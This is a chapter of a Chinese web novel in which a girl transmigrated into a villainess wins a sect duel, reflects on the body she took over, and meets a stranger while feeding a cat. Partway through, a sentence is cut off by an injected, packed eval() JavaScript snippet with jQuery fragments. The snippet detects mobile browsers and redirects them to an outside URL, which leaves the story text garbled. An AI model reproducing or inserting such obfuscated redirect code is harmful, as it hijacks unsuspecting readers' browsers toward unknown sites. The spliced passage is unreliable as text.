意料之内的,除了拍打在脸上的风,锦书并没感到疼痛。
毕竟只是同门比试,龙傲天一定不会下死手的,就算下死手,站在天上的两人也不会不管的。
周遭一片惊呼声,锦书只感到心脏狂跳不已,仿佛马上就要从胸膛中跳了出来,在心里安慰了自己两句后,她才缓缓松了一口气睁开眼。
只见面上惊诧无比的少年和来势汹汹的玄铁剑距离自己不过一指有余,凶戾的剑意还未散去。
只不过阻止这把剑劈下来的不是李行道,又或者玄清真人。因为恐惧而被脱离甩出的绊玉悬于空中,散发出珠白色的光芒,稳固的架住了那把沉重的玄铁剑。
锦书像被什么指引了一般,不由自主地将手指按在了那如贝壳般光滑的剑柄上,一股源源不断的灵力由绊玉反哺涌入自身,锦书只觉得先前残存的无力与疲乏统统一扫而净,浑身充满了力量。
原身和绊玉早在许多年前就已定下了契约,却一直没有得到它的认可。可此时纪锦书分明感到和绊玉意念合一,有种茅塞顿开的感觉。
锦书有些不稳地后退了两步,绊玉乖巧的回到她手里,珠光色四射,在她的手心里微微震动着。
玄清真人明悟,脸上掠过过一丝肯定,一扫之前的不满,道:“锦书,你这是得到了你这灵器的认可,不必再藏拙了,还不好好与人比试一场?”
锦书脸色僵了僵,合着之前这位是觉得自己在藏拙啊。
围观的人群纷纷一副恍然大悟的样子,锦书有些心虚,干巴巴地应了声是,至少这样显得自己没那么丢人了。
此时,她体内灵力充沛,绊玉与她心灵相通,像一个和煦的老师傅一般指导着她应该如何抬手、如何挥舞长剑。
纪锦书抬起头,明亮的眼眸粲然生辉,嘴角微微勾起,有了绊玉的帮助,她多了几分跃跃欲试,不由得想试试自己能够发挥出怎样的实力。
她握住剑柄,剑身寒芒闪烁、熠熠生辉,不甚熟练地挽出一道剑花,锋利的长剑挟裹着汹涌的灵力直逼李行道。
李行道自然不会大意,满脸警惕,未有丝毫的松懈,抬起玄铁剑险险地挡住了进攻。
霎那间,只见得先前还落下风的少女反而借力轻盈一跃,飞身而上,手腕一翻,绊玉剑犹如一道流光一般更加精准地攻来。
李行道挥剑,两剑相击,竟是他身子微微一晃,踉跄了两步。
剑光纵横交错、疾风骤雨,看的众人皆是屏住呼吸。
两人打的有来有回,少女此刻已是反守为攻,手中长剑向身后转去,变化莫测,另一只手凝聚内力直直地向前拍出,一掌将李行道送出一丈远。
胜负已分,锦书心中有些许自满,脑袋涨的热乎乎的,又想表现的不过分得意,废了好大力气才控制住忍不住上扬的嘴角:“承让,险胜险胜。”
体验了一把人剑合一,锦书只感到前所未有的身心舒畅,忍不住欢喜地抚摸着绊玉晶莹的剑身,恨不得扑上去亲两口。
“我输了。但婚约也并非我本意,对你造成的困扰我很抱歉。”少年嘶哑的声音传来,即使输了,他也依旧沉稳:“既已如此,婚约就此作罢吧,待明日我写信报告家主,你我之间便再无干系。”
锦书有点呆滞,却见李行道已经又背起了那把玄铁剑,他面色平静依旧,没有任何的不服与怨气。
锦书莫名的有些心软,日后名扬天下的剑神如今的形象不过只是一个可怜的失意少年。毕竟在原书中,李行道作为被常年被原身坑害的对象,无论是在任何时候都没有主动对原身出过手,反而是原身自作自受。李行道对人永远谦卑自若,如果不是她的穿越打乱了一切,这次本应该是他摆脱废柴之名的翻身一战来着。
日落西山,天边明媚的晚霞映在半边演武场上,为少女飘扬的裙摆和纤细的脸颊打上了一层金光。
锦书忍不住开口安慰道:“你不必妄自菲薄,若不是我的灵器突然认主,我们可能就要打个平手了。”
又不由得补充了两句:“我也没有很讨厌你。”
李行道顶着少女有些纠结的面容,迟疑的点了点头,算是做出了回应:“谢谢。”
锦书显然没发现自己的话里充满了歧义。
人向来爱八卦,围观的观众已经开始窃窃私语:“纪师姐是不是喜欢这个李行道的啊?虽然嘴上说是退婚,其实只是想试试自己未婚夫实力怎么样吧。”
“没错啊,不然按照师姐的脾气,应该会在赢了之后狠狠羞辱他一番才对啊。”
“话说你们没发现吗?师姐不是一个月前就去闭关了吗?这些时日都没瞧见她,可是这李行道一上山,她就出现了,消息也太灵通了吧,肯定是一直在关注他啊。”
锦书简直是要惊掉了下巴,虽然她下意识地就想替自己辩驳两句,但眼看这揣测在众人的嘴里已经开始变得有头有尾,如果再反驳恐怕只会让事情越描越黑。
她的表情险些维持不住,好在她脑袋灵光一闪,马上模仿着原身,刁蛮道:“你们这群人再胡说八道,当心我要你们好看。”
几个还在闲聊的弟子迅速噤了声,显然是知道纪锦书平日里的厉害。
“少年,你骨骼奇异、天赋异禀,有没有兴趣拜入老夫门下啊!”说出这句经典台词的正是提着酒壶的男子——原著里李行道的师傅怀山真人,此人看戏一般的看完了全程,终于开始走剧情了。
纪锦书所在的宗门乃是天下第一宗,名为天玄宗。天玄宗不同于其他小说中的第一宗门都是剑修,这里百花齐放,宗门长老们各有所长,弟子们也是千奇百怪。宗门长老不多,不过七人,锦书的师傅排行第二,是个不折不扣的剑痴,而李行道的师傅怀山排行第四,功力不输其他人。
天玄宗掌门平时神出鬼没、不见人影,门下有个亲传大弟子,走奶妈路线,平时痴迷炼丹炼药,平日甚少出现。大师姐排在三长老门下,是个乐修,和大师兄一样戏份不多,书中提过她为人正直,很是照顾小弟子李行道。
锦书拜师早,混到个小师姐的名头,玄清真人门下还有个弟子常年闭关,在原著里压根没出现。李行道此番一战成名,倒被收入门下成了小师弟。
纪锦书想了一半的话被堵在嗓子眼,只能又咽了下去。
按照原著,原身被李行道打的落花流水,在比试结束后,为了尽到自己恶毒女配的职责,竟然毫不顾忌在场的两个长老和一群围观的同门,愤怒地出手,愚蠢地妄想偷袭李行道,被当场押下,关了半年禁闭。
不过她不是原身,既已赢了,自然不会找事,便趁着所有人注意力都在李行道身上时,悄无声息地退到人群后跑开了。
李行道的肩膀被怀山真人沉沉地拍了几下,他的目光还停留在与自己交手的对手身上,少女却没有注意到他的目光,只是身子轻盈地从人群中穿梭而过,脑后长长的发带在空中轻盈地飞舞着,勾勒出美丽的痕迹。
他无意识微微蹙眉,觉得此时的她与之前愤愤不满说要退婚的模样相比,不知为何好像总有哪里不同,但到底这也不过是他与她的第一次见面,没有什么可以比对的空间,李行道很快便收回了眼神。
锦书片刻都不带留恋地加快脚步,跑出了演武场。
沿着人迹鲜少的山路往上走,她总算能够松了口气,仔细思索起自己现在的处境。
穿书进了龙傲天小说,还成为了和自己长得一模一样还同名同姓的恶毒炮灰女配。
当真是天方夜谭一般的经历,可锦书心底却浮起几分窃喜。
上辈子当病秧子当了那么多年,落了个早死的结局,要说她没有羡慕过别的孩子能够正常地跑跑跳跳,那是不可能的。
她深呼了一口气,在原地蹦了两下,没有呼吸困难,没有砰砰狂跳的心脏,这一切是多么的轻松。
甚至由于这幅身体常年修仙的缘故,浑身都充满了力气,只要按照记忆运转体内经脉里的灵力,一股温热的难以言喻的舒适感便充盈了全身。
原身的记忆此时终于有时间了解了,锦书越回想脑海里涌进来的的记忆,眉头皱的也越紧。
这小姑娘从小就没吃过什么苦,正是因为家里人宠爱才养成了这么一副刁蛮的性子,自小但凡她看不顺眼的从不会压制自己,说话句句带刺,得罪了不少人。
但令锦书万分不解的是,将近一个月的记忆她居然一点都没有了。
也就是说,自从一个月多前的某一天,原身突发奇想决定去闭关,在进入后山专为弟子们准备的闭关之地后,到她在演武场睁开眼睛,这段记忆就像被涂改液涂抹了一样,没有片刻残留。
不过还好书里有提及到相关的只言片语,锦书一脚踹飞路边的一颗小石子,小石子打破了平静的水面,她意识发散地揪着自己耳边的碎发,用尽全部努力去回想书里是怎么写的。
“李行道刚通过弟子入门选拔考试,就遇到了一个令他皱眉的人。这人不知从何而来,挡在他的面前,脸上是嚣张又狂妄的一副神情,她仰着下巴,高高在上地看着他,目中无人地问道:‘你就是李行道?我叫纪锦书,你应该认识我吧。’
来人正是他从小定下的未婚妻纪锦书,少女虽然生的美丽,但那副神情实在令人厌恶,李行道暗暗皱眉,婉拒道:‘我来此与你无关。’
可这少女偏生不依不饶,一掌就劈向了李行道。”
锦书有些不明白,虽然原身确实是个跋扈的性子,但却不至于这么没脑子直接就在众多同门的眼前对龙傲天下手吧。
难道是配角的强行降智环节?
又或者是有人在背后挑拨?
可原身由于平日里太过惹人厌烦,只有几个狗腿子,并没有什么深交的朋友,这种猜测因为记忆确实也没办法得到验证。
锦书沿着一条小溪往山顶上走去,那里是玄清真人和两个徒弟的居所。几点疏星稀稀拉拉的遍布在空中,一弯明月模糊的映在清澈见底的水面上,皎洁柔和的月光显出几分宁静。
我占据了原身的身体,那原本的她去了哪里。
此刻闲了下来,这个问题便像鱼类口中
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16898115|192304||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
吐出的泡泡缓缓浮出水面,惹得她心中七上八下,有些难过地踢了踢脚旁的石子。
天色已经暗了,天玄宗作为天下第一宗门,财大气粗,整个宗门坐落在几座相邻的山峰上,山峰绵延高耸、风景秀丽,遍布着郁郁葱葱的花卉灵植,偶尔能听到通人性的灵兽们的叫声。
锦书凝视着自己纤细但仍旧有肉的手腕,只是想到这并不是自己的身体,一阵恶寒便由肺腑而生。
她刚刚所体会的因为身体健康所带来轻松愉悦都是建立在她无意识地“抢夺”了另一个女孩的身体才能拥有的,一种毛骨悚然、不知该怎么形容的恐惧油然而生。
之前那个“纪锦书”去哪里了?
在这恐惧与焦虑的煎熬中,锦书失魂落魄,居然迷了路。
等回过神时,她人已经站在了外门弟子们的居所附近,孤零零地踩在青石地板上。
此时天色已晚,外门弟子们都已就寝,只留下锦书捂着叫起来的肚子犯难。
反正既然已经来了,干脆找点饭吃好了。
诺大的食堂里只有窗外透进来的一丝月光勉强让人能看清屋内设施,锦书也不敢点灯,怕给其他人引过来了,害的自己担上个偷偷摸摸的名头。
她瞧见桌上还摆着几个蒸笼,寻思着或许还有馒头吃,便蹑手蹑脚地掀开了盖子。
里面果真还摆着几个圆圆的馒头,虽然已经冷了,但模样看着还是极好的,锦书捡起一个往嘴里塞。
一口下去倒是还有些别样的惊喜,锦书被措不及放的一口甜陷吃的瞪大了眼睛,红豆浓厚的气味充满了整个口腔。
虽然凉了让它风味已然失了大半,但锦书却吃的两眼弯弯。
凉了的豆沙馅小包子又是另一种滋味了,还好出来觅食了,不然险些就错过了这种美味。
三下两下地塞完一个包子后,锦书本想再摸一个尝尝会不会有些别的口味,却先听见了一声细细的猫叫。
锦书手停在半空中,整个人一动不动去听那叫声,果真不是幻听,虽然那猫叫声音尚小,但确实真真正正从另一侧传来的。
锦书心里捉摸着这猫既然在叫,莫不是饿了。
她打量了一下四周,瞧见锅灶上方还挂着几串腊肉干鱼,便收回了伸向馒头的魔爪,挑了块不大不小刚刚好的鱼干取了下来。
猫叫声断断续续,锦书又竖起耳朵听了一会才大致确定方位在锅灶对面的墙角。
不过那声响并不闷,不像是隔墙听到的,倒像是那小猫就在屋里一样。
锦书轻手轻脚地捏着鱼干往大致方向靠了过去,生怕吓跑这只还没看到影的猫咪。
待离得近了,她才瞧明白是怎么一回事,原来那墙下正有个不大不小的洞,厚厚的墙洞里蜷缩着一只小小的玳瑁色的猫咪,可怜巴巴地在那里叫唤着。
锦书小心翼翼地往那处靠近,猫咪听见脚步声把脸转了过来,看见靠近的人影,非但没怕,反而像是试图引起他人的怜惜一般,又楚楚可怜地叫了一声。
锦书心都要化了,连忙蹲下身,将小鱼干放在它面前,语气柔软道:“小咪,你是不是饿了呀?”
猫咪伸着头,嗅了嗅面前的小鱼干,拿爪子在地上磨了磨,并不肯下口。
锦书逗道:“怎么不吃呀?小咪,小咪?”
她声音小小的却又上扬,就好像一个翘起来的弯钩。
可惜面对这样的轻哄,小猫咪并不领情,依旧只是细细的叫着。
锦书又哄了几句,忽听一声轻笑从对面传来。
她吓了一跳,有些紧张地问道:“谁?”
那人语气中还带有一丝笑意,不答反问道:“你是谁?”
听声音,对面的那头估计是个和自己年纪差不多大的少年,声线清冽,犹如冬日的一汪冰凌凌的泉水。
锦书猜测应当是个深夜未睡的外门弟子,有些迟疑要不要开口,见她并不说话,那人先岔开话题说道:“这猫儿嘴刁,不吃肉。”
锦书讶然道:“还有不吃鱼的猫?”
少年并没有再说些别的来证实自己这番话的真实性,锦书瞧见一只骨节分明的手攥着一片厚厚的白菜叶从洞的另一侧递了过来。
那猫咪一改常态,亲昵地往那手上蹭了蹭,随即便不客气地吃起了白菜叶。
“瞧见没?”少年语气慵懒。
锦书好奇道:“你好像和它挺熟。”
少年慢悠悠道:“我喂了它娘好久,不过近些日子许久没来,不知道那只跑到哪去了,只留下个小的,倒是和它娘脾性一样的刁钻。”
他一本正经地说着埋怨的话,却听不出几分嫌弃。
锦书来了几分闲聊的兴致,又问道:“你怎么这么晚还没睡?专门跑过来喂猫?”
“梦到有小猫好吃,特地来看看这梦是真还是假。”
锦书脸上一热,有些羞臊,一时竟然觉得这贪吃的猫说的像是自己,不由得辩解道:“饿了总不能不吃吧。”
少年漫不经心道:“说的倒也有些道理。”